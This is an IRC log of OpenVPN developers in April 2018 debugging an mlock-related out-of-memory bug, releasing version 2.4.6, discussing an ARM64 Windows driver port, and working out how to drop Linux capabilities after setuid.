yes pam .. forgot about that 06:57 * tincantech is checking pam.d now 06:57 * dazo digs up a linux kernel book to double check a few things 07:01 < tincantech> /etc/pam.d/login -- # Sets up user limits according to /etc/security/limits.conf <newline> session required pam_limits.so 07:03 <@dazo> yeah, and login is what happens when a user logs in, not when the set*uid() system call is used 07:03 <@dazo> (the login process would normally do the set*uid() call after the authentication has succeeded) 07:03 <@dazo> (which means after PAM) 07:04 < tincantech> would that be "!su" then ? because -- su: # Sets up user limits, please uncomment and read /etc/security/limits.conf to enable this functionality. <newline> # session required pam_limits.so 07:05 < tincantech> without the ! 07:05 <@dazo> nope, su is another one which also does PAM then set*uid() 07:06 <@dazo> set*uid() which openvpn uses does never invoke PAM 07:06 < tincantech> ahh ok 07:06 <@dazo> s/does/will/ :) 07:06 < tincantech> the plot thickens .. 07:07 < tincantech> the odd thig is i increased the amout of RAM to the VM and now openssl does not throw any error (even at verb 7) but openvpn still OOMs 07:07 <@dazo> buuut ... I'm reading interesting details about mlock() and mlockall() .... since kernel-2.6.9/10, any user can call this ... the limit is 8 memory pages (IIRC, a memory page is 8KB on 64bit systems), which means 64KB 07:08 <@dazo> so if mlock() is set, and the application tries to allocate more than 64KB, it will OOM 07:09 < tincantech> sounds right as all my other systems have ulimit -l 64 .. but arch has ulimit -l 16384 .. so, i don't know what to make of it 07:09 <@dazo> Arch might have overridden the default to something smaller 07:11 < tincantech> i'll trac it now because i don't think i can help any more than that 07:11 <@dazo> okay, so we most likely need to use setrlimit() before dropping privileges ... as root has that privilege and rlimits are per process, not per user 07:12 <@dazo> (but pam_limits, which was a detour sets the defaults for the process/shell being run after pam_limits has been processed) 07:13 <@dazo> and it is the RLIMIT_MEMLOCK resource needed to be tweaked 07:15 <@dazo> tincantech: can you run a test on a systemd based distro? Add LimitMEMLOCK=128M in the [Service] section of the unit file ... see what happens then 07:17 <@dazo> 128M is just a random number ... we would need to reduce that to a more sane amount 07:17 <@dazo> and naturally, openvpn would need to be started via systemd for this to work :-P 07:18 < tincantech> /me testing now 07:18 <@dazo> cool! thx! 07:24 < tincantech> i was going to try that myself with systemd but didn't get round to it till now ;) 07:24 < tincantech> nope .. OOM ! 07:24 <@dazo> interesting 07:25 <@dazo> okay, this needs some heavy debugging 07:26 < tincantech> trac'ing now ;) 07:27 < tincantech> just FYI .. i have no idea what changed between the first time and now .. but now only openvpn OOMs there is no error from openssl .. very confused 07:28 < tincantech> i'll just dounble check i did systemd right 07:29 <@dazo> that entirely depends on which caller malloc() which got the OOM message .... you were probably just lucky that it was openssl doing that repeatedly for some time 07:30 <@dazo> I won't be concerned about that ... OOM is the result of malloc() operation going wrong 07:33 < tincantech> ah-ha ! 07:34 < tincantech> seems i did systemd wrong before .. double double checking now 07:38 < tincantech> yep .. with LimitMEMLOCK=128M the problem is gone :) 07:39 <@dazo> okay ... try using 64MB ... and then half down until you hit the issue again ... that might give us some clues 07:40 < tincantech> sure thing ;) 07:45 < tincantech> 64M = OOM ! 07:47 <@dazo> hmmm ... okay, this is a string indicator ... thx a lot for testing it ... and for documenting it in Trac :) 07:47 <@dazo> *strong* 07:48 < tincantech> 96M OK 07:49 < tincantech> thats a huge amout of RAM per client reneg ! 07:50 < tincantech> EC .. learning more about every day 07:50 <@dazo> yeah, we need to look into if there's some leaks here though 07:51 <@dazo> but 96MB is a lot indeed 07:51 < tincantech> wow 80M = OOM ! .. so it really is up at the top end of 100MB per reneg per client ! 07:53 <@dazo> syzzer: ^^^ ... does this ring any bells? 07:54 <@cron2> one interesting aspect: is this transient memory, or is it kept... and it's not "per reneg per client", it's "it will need this memory while a renegotiation is happening" 07:55 < tincantech> fyi: openvpn 245 openssl is 110g 07:55 < tincantech> cron2: yes i understand what you mean .. my wording was technically off 07:57 < tincantech> good job --reneg-sec has jitter tho ! 08:15 < tincantech> mattock: i don't appear to be able to add a log at verb 4 to trac .. get thrown to recaptcha page 08:21 < tincantech> mattock: that recaptcha is seriously too picky ! 08:24 < tincantech> mattock: OMG .. after adding the log every time i press preview => recaptcha ! 08:36 < tincantech> btw .. i also found another odd thing: if using a auth user/pass the message about caching is hidden in the log up near the top .. if *not* using auth user/pass the message is displayed (even tho it is not required) at the end of the log where it is clearly visible .. this sounds like an over sight ? 08:36 <@vpnHelper> RSS Update - tickets: #1059: Out of Memory caused by --mlock at --reneg-sec with EC cert <https://community.openvpn.net/openvpn/ticket/1059> 08:37 < tincantech> want me to trac that also ? 08:42 <@dazo> tincantech: that's probably okay ... the reason it comes earlier or later depends on the order of initialization 08:42 < tincantech> dazo: sure .. but if it just comes at the end of the log always then it is much more user friendly and useful .. 08:43 < tincantech> besides .. why show it if the user does not use a user/pass ? 08:44 < tincantech> it's illogical captian 08:45 < tincantech> righto .. stuff todo 08:46 <@dazo> it might be relevant to password protected keys, proxy auth, managmenet password, etc 08:46 <@dazo> not just --auth-user-pass 08:49 < tincantech> yes .. but i am not using any user.pass and the message is clear at the end .. when using user/pass the message is obscurred .. anyway .. i won't worry about that anymore 09:19 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 09:19 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:20 <@plaisthos> ordex: your abstraction for tun/route configuration looks like an ideal candidate for my Android support 09:32 <@cron2> that's actually the most important part of the review now: is the abstraction making sense 09:32 <@cron2> the remaining parts are "just code" 09:36 <@ordex> plaisthos: theoretically that can be extended to every supported platform in openvpn2 09:36 <@ordex> cron2: :P don't underestimate the power of "just code"!! 09:36 <@ordex> :D 09:36 <@ordex> it's where all the bugs are hidden 09:37 <@ordex> just joking of course :) there are no bugs 09:37 <@dazo> :-D 09:42 < kitsune1> tincantech: regarding the mem limit needed to avoid OOM: its the total memory in use that is checked against. So if any call to brk or mmap (which malloc calls) after dropping privileges will fail if the total memory in use exceeds the soft limit of root at the time privilege is dropped. 09:46 < kitsune1> Also while its true that setuid will not consult limits.conf, the limits are checked when a new session is created. So the session knows what the limits are for root. It gets checked when brk or mmap are called but doesn't matter as long as the caller is root (which has CAP_IPC_LOCK). 09:49 < kitsune1> As for 96M, what does top show as the virtual memory size of the process? That's the number that decides how much the soft limit should be. 11:03 < kitsune1> ordex: why is the platform generic ifdef'd as #ifdef TARGET_LINUX ? That's makes it non-generic isn't it? 11:04 <@ordex> kitsune1: yeah, because right now it is applied only to Linux, once accepted it can be applied also to the rest 11:06 < kitsune1> i see -- the commit message could then say: disabled except for linux ? 13:35 < tincantech> only because it is a balmy friday night : https://www.youtube.com/watch?v=0g9SlVdv1PY 13:36 < tincantech> ^ Google's self-learning AI AlphaZero masters chess in 4 hours 16:05 <@plaisthos> ~. 19:39 < tincantech> ordex: old man .. are you available ? 19:40 < tincantech> if so can you please comment here : https://forums.openvpn.net/viewtopic.php?f=36&t=26208 19:40 <@vpnHelper> Title: SSL - Verification of the message MAC failed while connecting iPad 1 - OpenVPN Support Forum (at forums.openvpn.net) 19:40 < tincantech> i would .. but i will be rude .. too rude 19:41 < tincantech> i know i am a pain but what is life without pain ;) 23:42 <@ordex> kitsune1: yeah, somewhere I have written "(Linux)", but maybe it could be made more explicit --- Day changed Sat Apr 21 2018 02:34 <@ordex> kitsune1: although the comit about the "introcution" of the new API is not responsible for "using the API" anywhere. If that's the commit you were talking about 05:08 <@ordex> btw, if we are all good with 2.4.6, could we add a basic discussion of the new networking API to the next meeting agenda? maybe we could also briefly touch the unit-test, just to see if what I proposed is something "feasible" or not 05:10 <@cron2> ordex: fine with me if we make this particular "next" meeting on May 2 :) 05:10 <@cron2> (next week is a mess of things that need to be done, so I'm not seeing myself very well-prepared for that discussion) 05:11 <@ordex> that should work too :) 07:40 < kitsune1> ordex: yes, I was referring to patch 1/8 which adds openvpn/networking.h. Its not the implementation of the API, but the header which is now empty unless -DTARGET_LINUX is used. So until a future patch removes that restriction I thought the commit should say enabled only for linux. Anyway, this is a minor thing -- not a very useful feedback on the real substance :) 07:41 <@ordex> nah, it's ok :) 07:41 <@ordex> every comment is useful (usually :P) --- Day changed Sun Apr 22 2018 11:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 11:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Mon Apr 23 2018 02:06 <@mattock> morning 02:07 <@mattock> one more build & sign cycle of tap-windows6 (still showed 9,0,0,22 in version) and then I can start the 2.4.6 release machinery 02:07 <@mattock> tincantech: CloudFlare is enforcing reCAPTCHA - I will try get it rid of this week 02:07 <@mattock> it is driving me crazy too 02:08 <@mattock> (on Trac) 02:33 <@mattock> I think it is now disabled 03:01 <@cron2> mornin 03:07 <@ordex> kill the captcha! 03:07 <@mattock> I thought I did, but it is still there 03:08 <@mattock> it may linger on for a while like everything cloudflare... 03:26 <@mattock> so it seems the "Version" string in driver properties still shows 9.0.0.22 no matter what 03:26 <@mattock> I guess we have to live with it for now... 03:26 <@mattock> -> lunch 03:28 <@cron2> huh 03:28 <@cron2> which places did you change? 05:49 <@ordex> cron2: dual socket as you asked: 05:49 <@ordex> openvpn 2533 root 4u IPv4 14727867 0t0 TCP *:openvpn (LISTEN) 05:49 <@ordex> openvpn 2533 root 5u IPv6 14727868 0t0 TCP *:1195 (LISTEN) 05:50 <@ordex> with two "local" directives, one with 0.0.0.0 and one with :: 05:50 <@ordex> :) 06:01 <@cron2> wohoo!! *happy dance* 06:01 <@cron2> does it do UDP+TCP sockets already? 06:22 <@ordex> nope 06:22 <@ordex> :D 06:22 <@ordex> that will be v2 :P 07:57 < eworm> any news on release version 2.4.6? 08:01 <@mattock> yes 08:01 <@mattock> https://community.openvpn.net/openvpn/wiki/Openvpn2.4.6ReleaseChecklist 08:01 <@vpnHelper> Title: Openvpn2.4.6ReleaseChecklist – OpenVPN Community (at community.openvpn.net) 08:04 <@mattock> tomorrow evening is realistic, today life got in the way 08:05 <@mattock> tap-windows signatures got in the way on Fri, but I resolved that 09:03 < eworm> mattock: Thanks for the link! 09:03 < eworm> I will have a look at changes there and watch for activity in repository and on download page. 09:04 < eworm> the meeting mentioned a security issue unter embargo 09:04 < eworm> does that affect linux users? 09:22 <@cron2> eworm: no 09:22 <@cron2> mattock: patch is still not in tap-windows6 repo...? 13:52 <@ordex> anybody here can remind me the private git url feeding buildbot? 15:03 <@ordex> mattock: the /builders url you gave me on the internal server is not reachable. I mean, that IP is not reachable at all - I'll poke you tomorrow, maybe :P 16:16 -!- mode/#openvpn-devel [+o pekster] by ChanServ 16:20 -!- mode/#openvpn-devel [+e $a:jkunkee] by pekster 16:25 -!- mode/#openvpn-devel [-o pekster] by pekster 16:29 < jkunkee> Hi! As I mentioned in #openvpn, I'm a Microsoft engineer interested in getting the OpenVPN client running on desktop Windows 10 on ARM64. I have the x86 usermode working with tap-windows6 recompiled for ARM64, but my first run meant ignoring the existing build system. If anyone's interested in chatting about it while I'm here, I'm happy to; otherwise I'm planning to send mail to openvpn-devel in a few hours. 18:53 < kitsune1> jkunkee: So only tap needs to be recompiled and openvpn.exe built for x86 works as is? 19:18 < jkunkee> kitsune1: Yes 19:18 < jkunkee> kitsune1: well, devcon also needs to be recompiled 19:19 < jkunkee> kitsune1: that's the beauty of x86 usermode emulation. most stuff just works. 19:22 < kitsune1> But for openvpn we can recompile it for arm, I guess. If it helps to run native arm64. As for the tap driver, does it work well without major code changes? 19:32 < jkunkee> I had to bump the NDIS version from 6.1 to 6.30. I haven't yet figured out the impact of that, both at runtime and downlevel (Win7) 19:33 < jkunkee> I was able to set up the NIC and connect to an OpenVPN server VM 19:33 < jkunkee> then was able to ping the server's VPN IP 19:33 < jkunkee> that's about as far as I got; I didn't find the PowerShell testing scripts until yesterday 19:34 < jkunkee> the only trouble with building the usermode stuff for ARM64 is that GCC doesn 19:34 < jkunkee> 't yet know how to emit Windows ARM64 binaries. 19:35 < jkunkee> (it's more than I want to bite off, but it isn't so very far off) 19:35 < kitsune1> openvpn could be built using MSVC though not actively supported. 19:36 < jkunkee> Yes, I did see that. I'd have to update it to the Win10 SDK and sticking with mingw-w64 was easier :) 19:36 < kitsune1> building using mingw is way easier -- just configure and make :) 19:37 < jkunkee> lol 19:37 < jkunkee> yes indeed. I even got Windows mingw building the final openvpn client installer yesterday, once I found the instructions. (they're not on the wiki, they're in the openvpn-build README) 19:37 < jkunkee> Does the usermode portion do much heavy lifting? I got the impression the driver does most of the work. 19:38 < kitsune1> The driver does little -- the heavy lifting in a VPN is crypto and that's in the user mode. 19:40 < jkunkee> Ah, and that would've shown up had I stress-tested and profiled it. Gotcha. 19:45 < kitsune1> That said, the performance of the tap driver has been argued to be poor, so there could be bottlenecks in there. So I should correct the previous comment to say, if everything were well optimzed, I think crypto should be the bottleneck. 19:46 < jkunkee> Makes sense. 20:38 <@ecrist> ordex: I'm not sure we do 20:39 <@ecrist> sorry, for context, I don't think we use Spamhaus for spam filtering on the forum. 20:40 <@ecrist> We use CleanTalk for spam filtering. 22:02 <@ordex> ecrist: oh ok 22:03 <@ordex> ecrist: I wonder why I saw the spamhaus text 22:03 <@ordex> maybe CleanTalk relies on the Spamhaus DB 22:03 <@ordex> yey my multiport branch is green on travis! 22:04 <@ecrist> ordex: I'll look quick to see what CleanTalk is using. 22:06 <@ordex> thanks! 22:08 <@ecrist> I'm not seeing anything specific about what blacklists they might use. 22:10 <@ecrist> It doesn't appear they use any of the big black lists. 22:10 <@ordex> oh ok 22:11 <@ordex> mah, maybe it was something else kicking in between 22:53 <@ordex> mattock: cron2: can any of you quickly point me to the right buildbot urls when you are awake? I'd like to run my multiport branch through it to see what explodes 23:05 <@ordex> cron2: what should happen if somebody specifies "local host.me 9999" and host.me has both a A and AAAA entry? normally that would be solved by checking what was specified with the "proto" directive, but we wanted to somewhat make it useless when local is specified 23:05 <@ordex> uhmmm 23:06 <@ordex> maybe proto should still "be used when nothing specific is given on the 'local' directive" 23:06 <@ordex> as a global default (same I do with "rport/port") --- Day changed Tue Apr 24 2018 01:18 <@cron2> ordex: what about "listen on all the addresses that host.me resolves to"? (udp/tcp according to proto) 01:19 <@cron2> ordex: and wrt buildbot -> my remotes has "mattock ssh://build.openvpn.net//var/lib/repos/openvpn.git" 01:20 <@ordex> cron2: yeah, apparently I have no ssh access on that server 01:20 <@ordex> or is it supposed to be the same as our community LDAP ? 01:20 <@ordex> but "ordex" did not work 01:24 <@cron2> jkunkee: welcome to #openvpn-devel :-) - happy to see "more windows power" here :-) - we cope, but things like MSVC builds or NDIS versions are beyond our resources today 02:53 <@mattock> ordex, cron2: SSH access fixed 02:53 <@ordex> thanks! 02:53 <@mattock> related to dropping allow_all policy in IPA 02:57 <@ordex> do we have anything else to discuss other than 2.4.6 tomorrow? 02:57 <@ordex> because I will probably skip this time 03:02 <@mattock> hopefully there's nothing to discuss about 2.4.6 tomorrow 03:02 <@mattock> I'd prefer to have it out :P 03:02 <@mattock> looking ok so far, but lots of minor things I've had to fix around the tooling 03:10 <@ordex> oh cool, buildbots are all green :] 03:10 <@ordex> my first forced build 03:10 <@ordex> yey 03:11 <@mattock> \o/ 03:17 <@mattock> any final words for the release announcement or shall I make up something? 03:19 <@mattock> argh cloudflare is blocking me from editing Trac 03:21 <@mattock> now it only gives the annoying captcha 03:22 <@ordex> I use privacy pas to skip all those annoying captcha 03:22 <@ordex> *privacy pass 03:22 <@ordex> it's a fitrefox extension that earns a number of credits at once and then provides them when a captcha should be shown 03:22 <@ordex> good when using Tor :] 03:26 <@mattock> well we need to fix our CloudFlare setup 03:26 <@mattock> the page rules seem to be overly broad and Trac gets affected as a side-effect 03:26 <@ordex> I See 03:37 <@mattock> ok so no man-page or changelog modifications in Trac today, then 03:48 <@mattock> windows smoketests running 03:49 <@mattock> I will try out a couple debian packages 04:07 <@mattock> packages in repos 04:26 < eworm> Are source tarballs and signature available already? 04:38 <@ordex> cron2: doing the "we listen on each entry returned by the hostname resolution" is going to be a surgery. because right now the resolution of the local address is performed *after* having allocated the socket. so it's one socket there and expecting to have one address to bind. This should be reverted so that we could create as many sockets as the local addresses we get from the DNS resolution 04:38 <@ordex> I'll see if this can be kept for later 06:06 <@cron2> ordex: of course it is :-) - any touching of socket.c is major surgery... 06:07 <@ordex> hehe 06:07 <@cron2> mattock: wrt announcement - have a look at Changes.rst 06:07 <@ordex> I will keep the patchset as it is for now 06:07 <@cron2> mattock: wrt tap-windows6 - asking about the patch again... 06:18 <@mattock> cron2: v2 is the latest one? 06:19 <@mattock> oh no 06:19 <@mattock> lol more tap-windows6 building for me 06:20 <@mattock> I assume v5 is the latest one 06:25 <@cron2> v5 is the latest one, I'm just droning on and on because it still isn't in the github repo... 06:29 <@mattock> yeah, and I wanted to do smoke-testing before pushing anything 06:30 <@mattock> of course I forgot to update the patch so I have to go through a final build, sign, test cycle with v5 now 06:30 <@mattock> nothing on official webservers yet, so all is good 06:30 <@cron2> ok :) 07:56 <@mattock> cron2: uploading the release files to main webserver now 07:56 <@mattock> I will update the download page after running my signature verification script 08:02 <@mattock> signature validation ok except for openvpn.2.4.6.tar.xz (at least for now) 08:02 <@mattock> which is odd, as neither the file nor signature has ever been online, and local verification succeeds 08:02 <@cron2> what happened to the "why do we use cloudflare?" research project? 08:03 <@cron2> but anyway, I'll push 2.4.6 now, ok? 08:03 <@mattock> yes push 08:03 <@mattock> the research project did not go anywhere yet 08:03 <@mattock> I sent the announcements 08:03 <@cron2> sf is playing slowwwforge again 08:04 <@mattock> let's hope the single-signature tap-windows6 driver does not cause a havoc 08:04 <@mattock> we'll know soon enough 08:04 <@cron2> indeed 08:04 <@mattock> I did thorough smoketesting (is that even possible?) on Windows 7 and light smoketesting on Windows 2016 server 08:05 <@cron2> * [new tag] v2.4.6 -> v2.4.6 08:05 <@cron2> here we go 08:05 <@mattock> \o/ 08:08 < eworm> the xz compressed tarball is missing 08:08 <@cron2> so... what about the tap-windows6 repo? 08:08 <@vpnHelper> RSS Update - gitrepo: Fix potential double-free() in Interactive Service (CVE-2018-9336) <https://github.com/OpenVPN/openvpn/commit/1394192b210cb3c6624a7419bcf3ff966742e79b> 08:11 <@mattock> ah yes that one 08:11 <@mattock> I will push 08:12 <@mattock> tap-windows6 updated 08:13 <@mattock> https://github.com/OpenVPN/tap-windows6 08:13 <@vpnHelper> Title: GitHub - OpenVPN/tap-windows6: Windows TAP driver (NDIS 6) (at github.com) 08:40 <@cron2> did you try bumping to 9,22,1,601 as suggested by selva? it's not in head... 09:07 <@mattock> yes, it did not help 09:11 <@ecrist> Alright motherfuckers, I'm back. New job, working from home, so I'm going to annoy you all a lot more again. 09:12 <@ecrist> :D 09:13 <@cron2> mattock: that is, resource.rc? 09:14 <@cron2> (and OemVista.inf.in) 09:18 <@ordex> ecrist: oh no <o> 12:54 < jkunkee> cron2: sounds about right. Whatever I come up with will have to be tidy, simple, and durable--all of which I like anyhow. 12:55 < jkunkee> if I'm reading the release notes right, the Windows OpenVPN client is expected to run as far downlevel as Vista, right? 13:18 < pekster> Given that Vista is well EOL-ed by now, it's presumably safe to not bother actively supporting it 13:45 <@cron2> jkunkee: Vista might or might not work due to driver signing 13:45 <@cron2> openvpn itself should work, but we do not test Vista anymore 13:45 <@cron2> XP will *not* work 13:54 < jkunkee> cron2: so no XP, Vista should work fine but isn't supported (not tested, vendor EOL'd OS version), 7+ is required 13:55 < jkunkee> That helps when looking at the NDIS specs; thanks 14:16 < pekster> I think if Vista works it's just a bonus, but if it breaks (especially if it's broken for a good reason, like current/modern platform support) we make no effort to keep Vista working. Otherwise it's not like we're trying to break it :) 14:16 < pekster> Really no one ought to be running security software on a platform that no longer gets security updates.. 14:20 < kitsune1> In the context of ARM, does even Windows 7 arm port exist? I thought it was only Windows 8+ 14:21 < tincantech> and I have all these low energy light bulbs with a "lifetime" guaruntee .. turns out the "lifetime" is when it goes pop not when i do .. expectation vs reality ;) (small print) 14:23 < kitsune1> Some of those light bulbs fail even earlier than old incadescents.. Anyway who keeps receipts of lightbulbs for 10 years, let alone lifetime. 14:23 < tincantech> i did :( 14:24 < kitsune1> I did too -- but I cant recall where I put them :) 14:24 < tincantech> i put the reciept in the box it came out of 14:24 < kitsune1> And the box? 14:25 < tincantech> in the cupboard under the stairs (which is qwuite full) ;) 14:26 < kitsune1> Encrypted online storage of receipts anyone? I dont trust stores offering to email receipts to you. They just want your email address. 14:27 < tincantech> hehe .. it's a conspiracy ! 14:27 < tincantech> good idea for online service tho 14:28 < kitsune1> yep -- an app to take picture and upload encrypted using user's private key. 14:31 < tincantech> just pay with plastic and get the receipt sent to the service .. etc 15:25 < jkunkee> kitsune1: Windows 8 was ARM32. That was RT. 15:26 < jkunkee> Windows 10 is ARM64. It's full desktop plus x86 usermode emulation. 15:27 <@cron2> nice 15:27 < jkunkee> So I'm walking the line of building something that runs downlevel on x86 and x86_64 while building for ARM64 which whines loudly about NDIS <6.30 not being available. 15:27 < jkunkee> ty 15:27 < jkunkee> pekster: understood :) 15:28 <@cron2> whatever the difference between NDIS 6.01 and 6.30 are... 15:28 <@cron2> looking into src/constants.h, I can see defines for NDIS630, but I have no idea what this does 15:29 <@cron2> (except stuffing this into minportCharacteristics.*NdisVersion and reporting to openvpn) 15:35 < kitsune1> jkunkee: So assuming no point in supporting anything below Win8 for ARM, the ARM64 tap-windows need run only on Win10 (and above). So no question of Vista or Win7 support arise. As for userspace, it would be interesting to get it rebuilt for ARM64. Even if the x86 version just works. 15:38 < jkunkee> cron2: I'm working on the NDIS version change. It runs fine when I just change the constants, but I'm worried that there are more subtleties than that. 15:40 < kitsune1> Windows 7 will not support NDIS 6.3, will it? A couple of ifdefs can take care of NDIS version requirement, I guess 15:40 < jkunkee> kitsune1: None of my changes locally are arch-specific, so I first want to do no harm. If the ARM64 port breaks AMD64 Windows 7, I wouldn't expect the PR to be accepted. 15:41 < jkunkee> Nope, Win7 has NDIS 6.20 per the MSDN docs. 15:42 < kitsune1> When multiple arch's are involved, you cant avoid some arch-specific ifdefs. 15:42 < jkunkee> true, but when entire build systems are changing I'd like to make sure I do the right ifdefs and get the desired results. :) 15:43 <@cron2> well, 6.20 <-> 6.30 is actually a compile-time define, so "when building for ARM64" we can assume "6.30 is good" and for i386/amd64 we stick to 6.<earlier> 15:44 <@cron2> is there documentation that concisely lists the differnces in NDIS versions? 15:44 < jkunkee> cron2: If it's completely taken care of with the ifdefs and not something more subtle, that would be ideal. Would that fit well in tap.h? 15:44 < jkunkee> Not quite concisely: https://docs.microsoft.com/en-us/windows-hardware/drivers/network/overview-of-ndis-versions 15:44 <@vpnHelper> Title: Overview of NDIS versions | Microsoft Docs (at docs.microsoft.com) 15:46 < jkunkee> (I've got some friends here that know NDIS quite well, so making sure that change is done right is on me.) 15:46 <@cron2> jkunkee: I would see it in the "Makefile" equivalent, since src/constants.h seems to expect this to be set from externally 15:47 <@cron2> but in the end "whatever works nicely" is good enough :) 15:48 <@cron2> reading the document now... 15:50 < jkunkee> cron2: setting it in tap.h allows for ifdef logic, but the Makefile equivalent might be made to work... 15:50 <@cron2> I think we really really want NDIS 6.20 and up... 15:50 <@cron2> "These features in NDIS 6.20 and later reduce the complexity of the code that is required to implement drivers that do not implement IEEE 802.3. In addition, these non-IEEE 802.3 implementations do not have to implement ARP and DHCP. 15:50 <@cron2> as in "this is no longer an ethernet-only thingie but it could be a real *tun* driver now" 15:51 <@cron2> (of course this is a major rewrite, not "just change a constant", so slightly sidetracking) 15:51 < jkunkee> lol 15:51 < jkunkee> yup 15:53 <@cron2> ok, so NDIS630_MINIPORT not only affects our own build, but also "what data structures will we see", so it needs to be #define'd before any relevant #include 15:53 <@cron2> https://docs.microsoft.com/en-us/windows-hardware/drivers/network/compiling-an-ndis-6-20-driver 15:53 <@vpnHelper> Title: Compiling an NDIS 6.20 driver | Microsoft Docs (at docs.microsoft.com) 15:53 <@cron2> (this is 6.20, but I assume it's relevant for 6.30 as well) 15:56 <@cron2> so, need to go to bed now... see ya tomorrow 15:59 < jkunkee> cron2: thanks! 18:14 < jkunkee> The wiki says emailing patches is the way things are done. Do Github PRs fit that picture at all? 21:49 < kitsune1> jkunkee: for tap-windows6 probably PRs are accepted, but for openvpn patch should go to the mailing list using git send-email. 21:51 <@ordex> don't forget to bow everytime you say "git" 21:51 <@ordex> :p 21:55 < kitsune1> Eastern style bow or curtsy? 21:55 <@ordex> either one 21:57 < kitsune1> Here comes a prostration -- flat on the ground. Wow, now I cant get up.. 21:57 < kitsune1> Ouch.. 22:05 <@ordex> :D 22:05 <@ordex> good night 22:05 <@ordex> you can sleep there :P --- Day changed Wed Apr 25 2018 00:59 <@cron2> mornin 01:02 <@ordex> yo 01:03 <@ordex> eworm: I am not very expert when it comes to caps. does your email mean that by switcihng to another user the CAP_NET_ADMIN is lost? 01:03 <@ordex> I thought caps are given to the process, no matter if there is setuid involved 01:09 < eworm> ordex: Yes, capabilities are given to the process. 01:10 < eworm> from capapilities(7): "If the effective user ID is changed from 0 to nonzero, then all capabilities are cleared from the effective set." 01:10 <@ordex> eworm: then, if the process is started as openvpn as 'openvpn' user with CAP_NET_ADMIN, and then it switches to 'nobody', wouldn't it still retain CAP_NET_ADMIN? what is the advantage in switching? 01:10 < eworm> Not sure what happens when we setuid() from nonzero to another nonzero... 01:10 <@ordex> yeah 01:10 <@ordex> that was my question 01:11 <@ordex> because if it still retains all the caps, I don't think it would solve the problem raised by Simon 01:11 < eworm> right 01:11 * eworm is not sure... 01:12 < eworm> the manpage does not have a clear state about our case 01:12 <@ordex> basically we'd need something like "drop all caps" 01:12 <@ordex> no matter if it's a switch to another user or a specific call doing that 01:12 <@cron2> eworm: can you do that on linux? setuid() non-root to different non-root 01:13 <@ordex> CAP_SETUID should allow you to do so 01:13 <@cron2> nice 01:14 <@ordex> eworm: it seems prctl() might be used to drop capabilities 01:15 <@ordex> or maybe not uhm 01:21 <@ordex> it seems a process can use prctl() to drop capabilities, but then it needs to originally have CAP_SETPCAP set too. but it seems that with this cap the process can grant itself any other cap ... uhm.. does not seem right. maybe I am misunderstanding 01:22 < eworm> We do not want CAP_SETPCAP :-p 01:23 <@cron2> I would assume that you only need SETPCAP to add capabilities, and you can always reduce the set 01:23 <@ordex> ah no, it can manipulate only caps coming "from the caller's set". whatever that means 01:24 <@ordex> cron2: http://man7.org/linux/man-pages/man2/prctl.2.html << search PR_CAPBSET_DROP 01:24 <@vpnHelper> Title: prctl(2) - Linux manual page (at man7.org) 01:24 <@ordex> it works only when CAP_SETPCAP is given 01:25 <@ordex> iiuc 01:27 <@cron2> ordex: "from the caller's set" would mean "you can only reduce them, or maybe reset to what you had at process start" 01:27 <@ordex> yeah 01:27 <@ordex> ok, makes sense 01:28 <@ordex> so if you drop CAP_SETPCAP itself, you won't be able to reset them either 01:28 <@ordex> eworm: why we don't want CAP_SETPCAP? 01:30 < eworm> CAP_SETPCAP allows to raise the capability 01:31 < eworm> that way you can get full root permissions 01:32 <@ordex> that is what I was discussing with cron2 above - isn't that limited to your caller's set? 01:32 <@ordex> (need to clarify who/what the caller is) 01:34 < eworm> ah, got it. possibly I got that wrong myself 01:37 <@cron2> don't take my word on anything, but that's how I'd implement it - "one capability needed to *raise* caps" and "less capabilities needed to *drop* caps" 01:37 <@cron2> how these are named, and how Linux actually does it -> "read the source, luke" :) 01:54 < eworm> looks like setuid() does not drop the capabilities 01:55 < eworm> so if we use prctl... Do we need a new configuration option? 02:06 <@mattock> did I understand correctly that "no meeting today" for cron2 or ordex? 02:06 <@mattock> also: do you my emails get through to openvpn-devel? I just sent a response to selva's tap-windows6 version number change 02:07 <@ordex> mattock: yeah, won't be there on time likely 02:07 <@ordex> I only see cron2's reply 02:08 <@mattock> argh 02:09 <@cron2> mattock: yes 02:09 <@mattock> ok, let's skip this week 02:09 <@cron2> (to "no meeting") 02:09 <@mattock> cron2: one thing regarding selva's patch 02:09 <@mattock> we need to increment the version number to 9.22.2 02:09 <@mattock> otherwise it will indistinguishable from the current production version 02:10 <@cron2> true 02:10 <@mattock> my response went to selva directly as well as openvpn-devel, so he should have received it 02:10 <@cron2> the list seems to be a bit weird today... I tried bouncing parts of the security@ thread, and one mail got through, the others didn't... 02:10 <@ordex> sf.net farting again? 02:11 <@mattock> my IP got blocked because of spam activity 02:11 <@mattock> I doubt my laptop is sending that spam, but I'm in a shared office so that could actually be true for somebody here 02:12 <@cron2> annoyance... 02:13 <@mattock> we don't use IPv6 here, lol 02:13 <@mattock> so single exit IP 02:13 * cron2 has opinions on this 02:13 <@mattock> although tbh I'm not sure if we _could_ use IPv6 02:13 <@mattock> I will actually ask 02:14 <@mattock> anyways, as I tried to mention in my openvpn-devel mail: I will need to produce new Windows installers soonish 02:14 <@mattock> one for 2.3.18 due to tap-windows6 fix 02:14 <@ordex> mattock: use a VPN? :P 02:14 <@mattock> well that's probably possible 02:14 <@cron2> (IPv6 is not without its own set of annoyances... Google mail is MUCH stricter about SPF, DMARC, reverse DNS, and funny shit on IPv6... so quite often mail bounces over v6 that would be fine over v4) 02:14 <@ordex> if you know how to configure one.... 02:14 <@ordex> :D 02:14 <@cron2> ordex: I do not think this VPN technology is any good 02:14 <@mattock> just barely :P 02:14 <@cron2> nobody would use it 02:15 <@ordex> "cron2_> mmmh, this openvpn thingie is actually useful" [cit] 02:15 <@cron2> haha :) 02:15 <@ordex> ;P 02:15 <@mattock> also, one for 2.4.6 which includes minor fixes to openvpn-gui, openvpnserv2 and the new tap-windows6 with selva's version fix 02:15 <@cron2> +1 02:15 <@mattock> I want the dust to settle for tap-windows6 + signature first, but 1-2 weeks should be reasonable 02:15 <@mattock> so far no complaints 03:47 <@mattock> I'm about to publish my openvpn release scripts on GitHub 03:47 <@mattock> shall I put them directly under OpenVPN? 03:48 <@mattock> I think that would make sense, 